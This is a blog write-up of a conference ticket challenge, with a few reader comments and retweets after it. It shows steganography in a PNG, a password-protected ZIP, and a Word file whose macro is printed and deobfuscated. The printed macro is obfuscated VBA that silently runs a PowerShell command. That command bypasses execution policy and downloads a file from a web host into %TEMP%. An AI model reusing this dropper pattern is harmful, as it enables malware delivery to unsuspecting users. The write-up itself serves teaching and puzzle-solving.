A few days ago, I proposed a challenge to solve. The first ten people, who solved it, won a free ticket to attend the security conference Hack in Paris in June. Thanks to all the players! If all tickets were assigned after a few days, some people did not solve the challenge and asked me to publish a small wrap-up with the solution. The challenge was based on a single file still available here. About the participants, here are some stats:
- The file was downloaded from 253 unique IP addresses
- The solution (another file to download) was downloaded from 29 uniques IP addresses
Not too bad for a small challenge like this! Let’s go with the solution…
At the beginning, the file looks like a normal PNG image. This can be verified by the ‘file‘ Linux command. The picture can also be displayed by any image viewer.
$Â file hip2015.png hip2015.png: PNG image data, 851 x 315, 8-bit/color RGB, non-interlaced/
But, if you look deeper at the file content, there are other data sections which are not common in a PNG image. Binwalk is a nice tool to detect this:
$ binwalk hip2015.png DECIMAL Â Â Â HEXADECIMAL Â Â DESCRIPTION -------------------------------------------------------------------------------- 0 Â Â Â Â Â Â 0x0 Â Â Â Â Â Â PNG image, 851 x 315, 8-bit/color RGB, non-interlaced 41Â Â Â Â Â Â 0x29Â Â Â Â Â Â Zlib compressed data, default compression, uncompressed size >= 163840 69564 Â Â Â Â 0x10FBC Â Â Â Â Cisco IOS microcode for "B" 319988Â Â Â Â 0x4E1F4 Â Â Â Â LZMA compressed data, properties: 0x5D, dictionary size: 2097152 bytes, missing uncompressed size 427869Â Â Â Â 0x6875D Â Â Â Â Zlib compressed data, default compression, uncompressed size >= 11
A lot of players tried to rename the file and extract ZIP data directly from the file (like if it was a simple append at the end of the image. No luck!
$ mv hip2015.png hip2015.zip $ unzip -t hip2015.zip Archive: hip2015.zip  End-of-central-directory signature not found. Either this file is not  a zipfile, or it constitutes one disk of a multi-part archive. In the  latter case the central directory and zipfile comment will be found on  the last disk(s) of this archive.
The ‘strings‘ commands is always useful to detect interesting pieces of text. One was particularly interesting in the file: ‘zTxtAuthor‘. A PNG image can have multiple chunks with interesting data.
$ strings hip2015.png ... zTXtAuthor ...
The letter ‘z‘ means that the metadata are compressed; that’s why they aren’t present in the output of the strings command.To read them in a human readable way, we can use a tool like ‘exiftool‘:
$ exiftool hip2015.png ExifTool Version Number     : 8.60 File Name            : hip2015.png Directory            : . File Size            : 418 kB File Modification Date/Time   : 2015:04:24 17:52:52+02:00 File Permissions        : rw-r--r-- File Type            : PNG MIME Type            : image/png Image Width           : 851 Image Height          : 315 Bit Depth            : 8 Color Type           : RGB Compression           : Deflate/Inflate Filter             : Adaptive Interlace            : Noninterlaced Author             : TheH4X0rPwd Image Size           : 851x315
Again, a lot of people submitted the strings “TheH4XorPwd” as the challenge solution. This is way too easy, but let’s keep this information in mind for later. Have a look at the file size (418Kb). Is it normal size for a image of only 851×315 pixels? For sure, this is another proof that extra data are stored in the file. How and where?
Steganography is the art of hiding things within other things, for example hiding a text message within a picture in some way. Honestly, this is not uncommon and many challenges in CTF games implement steganography. There are plenty of tools to analyze pictures but StegSolve is a nice one. It performs an analysis of the file structure as well as allowing each bit plane to be viewed on its own. If you open the image in StegSolve, you can analyze all the planes one by one and see some differences for specific colors/bits. The first picture display the green plane bit ‘0’ and the second one the blue plane bit ‘6’.
After reviewing all the planes, you see that the red and green bit planes contain different data in the LSB (‘Least Significant Bit’). StegSolve allows to dump the data and, magically, we can see the signature of a ZIP file: ‘PK‘.
Save the binary data and we can now extract the protected archive content. With which password? The string found in the zTxTAuthor field! The archive countains just a Microsoft document.
$ unzip hip2015.zip
Archive: hip2015.zip
[hip2015.zip] hip.doc password:
inflating: hip.doc
$ file hip.doc
hip.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Xavier Mertesn, Template: Normal, Last Saved By: Xavier Mertesn, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 12:04:00, Create Time/Date: Wed Apr 8 11:01:00 2015, Last Saved Time/Date: Wed Apr 8 11:01:00 2015, Number of Pages: 1, Number of Words: 12, Number of Characters: 66, Security: 0
If you open this document in a Microsoft Word, it will warn you that it contains macros! To analyze them, let’s use Didier Stevens’s tool oledump to analyze the macros:
$ oledump.py hip.doc 1: Â Â Â 121 '\x01CompObj' 2:Â Â Â 4096 '\x05DocumentSummaryInformation' 3:Â Â Â 4096 '\x05SummaryInformation' 4:Â Â Â 6742 '1Table' 5: Â Â Â 413 'Macros/PROJECT' 6:Â Â Â Â 65 'Macros/PROJECTwm' 7: MÂ Â 8883 'Macros/VBA/Module1' 8: MÂ Â 1430 'Macros/VBA/ThisDocument' 9:Â Â Â 3523 'Macros/VBA/_VBA_PROJECT' 10: Â Â Â 571 'Macros/VBA/dir' 11: Â Â Â 230 'MsoDataStore/FG\xc3\x81\xc3\x86LZD\xc3\x82O\xc3\x84\xc3\x9e2Q4\xc3\x8c\xc3\x8fX\xc3\x98\xc3\x84\xc3\x9cC\xc3\x80==/Item' 12: Â Â Â 341 'MsoDataStore/FG\xc3\x81\xc3\x86LZD\xc3\x82O\xc3\x84\xc3\x9e2Q4\xc3\x8c\xc3\x8fX\xc3\x98\xc3\x84\xc3\x9cC\xc3\x80==/Properties' 13:Â Â Â 4096 'WordDocument'
Based on its size, the 7th stream looks to be our best candidate. Let’s decode and dump the VBA macro from the stream:
$ ./oledump.py -s 7 -v hip.doc
Attribute VB_Name = "Module1"
Sub gettoken()
R34VV7 = ChrW(43.1 + 55.9) & ChrW(107.2 + 1.8) & ChrW(37.1 + 62.9) & ChrW(28.1 + 3.9) & ChrW(23# + 24#) & ChrW(64.5 + 10.5)
OMR7CZ = ChrW(3.7 + 28.3) & ChrW(82.1 + 29.9) & ChrW(16# + 95#) & ChrW(36.1 + 82.9) & ChrW(63.4 + 37.6) & ChrW(26.2 + 87.8)
XOQACY = ChrW(103.4 + 11.6) & ChrW(81.5 + 22.5) & ChrW(100.5 + 0.5) & ChrW(90.1 + 17.9) & ChrW(13# + 95#) & ChrW(7.9 + 38.1)
Y6671K = ChrW(89.3 + 11.7) & ChrW(103.1 + 16.9) & ChrW(79.2 + 21.8) & ChrW(2.5 + 29.5) & ChrW(24.1 + 20.9) & ChrW(52.3 + 16.7)
M8FEVF = ChrW(100.9 + 19.1) & ChrW(39.3 + 61.7) & ChrW(42.6 + 56.4) & ChrW(69.3 + 47.7) & ChrW(39.6 + 76.4) & ChrW(90.7 + 14.3)
M0DP35 = ChrW(105.3 + 5.7) & ChrW(57.8 + 52.2) & ChrW(75.3 + 4.7) & ChrW(84.6 + 26.4) & ChrW(63.7 + 44.3) & ChrW(53.1 + 51.9)
WTLT83 = ChrW(10.5 + 88.5) & ChrW(118.7 + 2.3) & ChrW(9.1 + 22.9) & ChrW(60.9 + 37.1) & ChrW(108.5 + 12.5) & ChrW(34.5 + 77.5)
FXODK3 = ChrW(87# + 10#) & ChrW(36.3 + 78.7) & ChrW(21.9 + 93.1) & ChrW(11.9 + 20.1) & ChrW(6.4 + 38.6) & ChrW(64.1 + 45.9)
ILLHOJ = ChrW(5.6 + 105.4) & ChrW(68# + 44#) & ChrW(53.3 + 60.7) & ChrW(46.1 + 64.9) & ChrW(9.5 + 92.5) & ChrW(13.7 + 91.3)
X2OTVL = ChrW(65.2 + 42.8) & ChrW(57.4 + 43.6) & ChrW(19.5 + 12.5) & ChrW(16.2 + 23.8) & ChrW(39.6 + 38.4) & ChrW(59.8 + 41.2)
SL7TWP = ChrW(98.7 + 20.3) & ChrW(9# + 36#) & ChrW(49.4 + 29.6) & ChrW(48.3 + 49.7) & ChrW(23.5 + 82.5) & ChrW(73.1 + 27.9)
YRUA9H = ChrW(71.6 + 27.4) & ChrW(42.7 + 73.3) & ChrW(19.2 + 12.8) & ChrW(34.2 + 48.8) & ChrW(53.5 + 67.5) & ChrW(58.3 + 56.7)
S9BWBC = ChrW(11.4 + 104.6) & ChrW(55# + 46#) & ChrW(42.2 + 66.8) & ChrW(12.9 + 33.1) & ChrW(54.2 + 23.8) & ChrW(57.3 + 43.7)
U4QDHY = ChrW(72.5 + 43.5) & ChrW(22.6 + 23.4) & ChrW(41.2 + 45.8) & ChrW(50.7 + 50.3) & ChrW(62.8 + 35.2) & ChrW(10# + 57#)
XQ3LP5 = ChrW(76.2 + 31.8) & ChrW(67.1 + 37.9) & ChrW(76.6 + 24.4) & ChrW(43# + 67#) & ChrW(9.4 + 106.6) & ChrW(40.3 + 0.7)
O0NN2X = ChrW(2.9 + 43.1) & ChrW(51.9 + 16.1) & ChrW(58.9 + 52.1) & ChrW(51.2 + 67.8) & ChrW(48.1 + 61.9) & ChrW(23.3 + 84.7)
ZIZS3K = ChrW(69.2 + 41.8) & ChrW(1.4 + 95.6) & ChrW(28.9 + 71.1) & ChrW(23.9 + 46.1) & ChrW(74.9 + 30.1) & ChrW(39.7 + 68.3)
RJIRA7 = ChrW(43# + 58#) & ChrW(22.3 + 17.7) & ChrW(36.5 + 2.5) & ChrW(1.4 + 102.6) & ChrW(101.2 + 14.8) & ChrW(24.3 + 91.7)
LFIXCN = ChrW(82.9 + 29.1) & ChrW(36.3 + 21.7) & ChrW(18# + 29#) & ChrW(13.6 + 33.4) & ChrW(39.5 + 58.5) & ChrW(33.9 + 74.1)
E9TD1G = ChrW(19# + 92#) & ChrW(37.5 + 65.5) & ChrW(11.7 + 34.3) & ChrW(80.2 + 33.8) & ChrW(34.3 + 76.7) & ChrW(43.9 + 67.1)
X0O7CH = ChrW(52.5 + 63.5) & ChrW(98.7 + 16.3) & ChrW(9.1 + 94.9) & ChrW(16.9 + 84.1) & ChrW(33.3 + 74.7) & ChrW(11.8 + 96.2)
Q3T6MK = ChrW(30.9 + 15.1) & ChrW(19.1 + 78.9) & ChrW(33.2 + 67.8) & ChrW(23# + 24#) & ChrW(59# + 56#) & ChrW(62# + 54#)
DC5U2X = ChrW(76.7 + 40.3) & ChrW(13.5 + 88.5) & ChrW(19.2 + 82.8) & ChrW(2.7 + 44.3) & ChrW(23.3 + 63.7) & ChrW(83.4 + 4.6)
XC5YRH = ChrW(72# + 31#) & ChrW(47.9 + 8.1) & ChrW(17.4 + 35.6) & ChrW(2.3 + 110.7) & ChrW(34.7 + 13.3) & ChrW(75.4 + 12.6)
Y7A4JI = ChrW(60.4 + 5.6) & ChrW(99.7 + 5.3) & ChrW(40.3 + 5.7) & ChrW(61.9 + 50.1) & ChrW(75# + 35#) & ChrW(77.1 + 25.9)
L03FNO = ChrW(15.2 + 23.8) & ChrW(42.5 + 1.5) & ChrW(7# + 32#) & ChrW(21.3 + 15.7) & ChrW(22.4 + 61.6) & ChrW(19.1 + 49.9)
Q668F0 = ChrW(36.4 + 40.6) & ChrW(38.2 + 41.8) & ChrW(26.7 + 10.3) & ChrW(56.3 + 35.7) & ChrW(80.8 + 6.2) & ChrW(61.5 + 26.5)
W56XG4 = ChrW(88.5 + 14.5) & ChrW(2.6 + 53.4) & ChrW(48.9 + 4.1) & ChrW(110.6 + 2.4) & ChrW(27.3 + 20.7) & ChrW(87.1 + 0.9)
CX4IGF = ChrW(31# + 35#) & ChrW(16.7 + 88.3) & ChrW(17.1 + 28.9) & ChrW(84.2 + 27.8) & ChrW(19.2 + 90.8) & ChrW(36# + 67#)
C5MHOT = ChrW(21.8 + 17.2) & ChrW(18.4 + 22.6) & ChrW(16.9 + 42.1)
G43JXT = R34VV7 + OMR7CZ + XOQACY + Y6671K + M8FEVF + M0DP35 + WTLT83 + FXODK3 + ILLHOJ + X2OTVL + SL7TWP + YRUA9H + S9BWBC + U4QDHY + XQ3LP5 + O0NN2X + ZIZS3K + RJIRA7 + LFIXCN + E9TD1G + X0O7CH + Q3T6MK + DC5U2X + XC5YRH + Y7A4JI + L03FNO + Q668F0 + W56XG4 + CX4IGF + C5MHOT
IUGuyguisdf = Shell(G43JXT, 0)
End Sub
The code is of course obfuscated. The parameter ‘G43JXT‘ passed to the Shell() function is based on multiple additions and character conversions from numbers. From here, you have two choices: To execute the VBA code on a Windows machine or, on Linux, to convert the code to something else like Python:
$ cat hip.py #!/usr/bin/env python def ChrW(x): Â Â Â return chr(int(x)) R34VV7 = ChrW(43.1 + 55.9) + ChrW(107.2 + 1.8) + ChrW(37.1 + 62.9) +Â ChrW(28.1 + 3.9) + ChrW(23 + 24) + ChrW(64.5 + 10.5) ... ... G43JXT = R34VV7 + OMR7CZ + XOQACY + Y6671K + M8FEVF + M0DP35 + WTLT83 +Â FXODK3 + ILLHOJ + X2OTVL + SL7TWP + YRUA9H + S9BWBC + U4QDHY + XQ3LP5 +Â O0NN2X + ZIZS3K + RJIRA7 + LFIXCN + E9TD1G + X0O7CH + Q3T6MK + DC5U2X +Â XC5YRH + Y7A4JI + L03FNO + Q668F0 + W56XG4 + CX4IGF + C5MHOT #IUGuyguisdf = Shell(G43JXT, 0) print G43JXT
Execute the script and it will return you the following string:
$ ./gettoken.py cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (NewObject System.Net.WebClient).DownloadFile('https://blog.rootshell.be/stuff/WXg85q0XBi.png','%TEMP%\WXg85q0XBi.png');
If the macro is executed from the Word document, it will spawn a Powershell which will download a picture and store it in your %TEMP% directory. If you download the new PNG manually, you get this:
That’s all and congratulations to the winners!
I would like to thank again my friend @doegox for his help with the steganography step and the tests!
Very nice, thanks.
Would it be possible to get the stego code ?
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
RT @xme: [/dev/random] Hack in Paris Challenge Wrap-Up http://t.co/J9J1tutknZ
@xme Interesting challenge, thx for it 🙂 I just stopped digging after the binwalk/failed unzip and the exif data. (I don’t like stegano)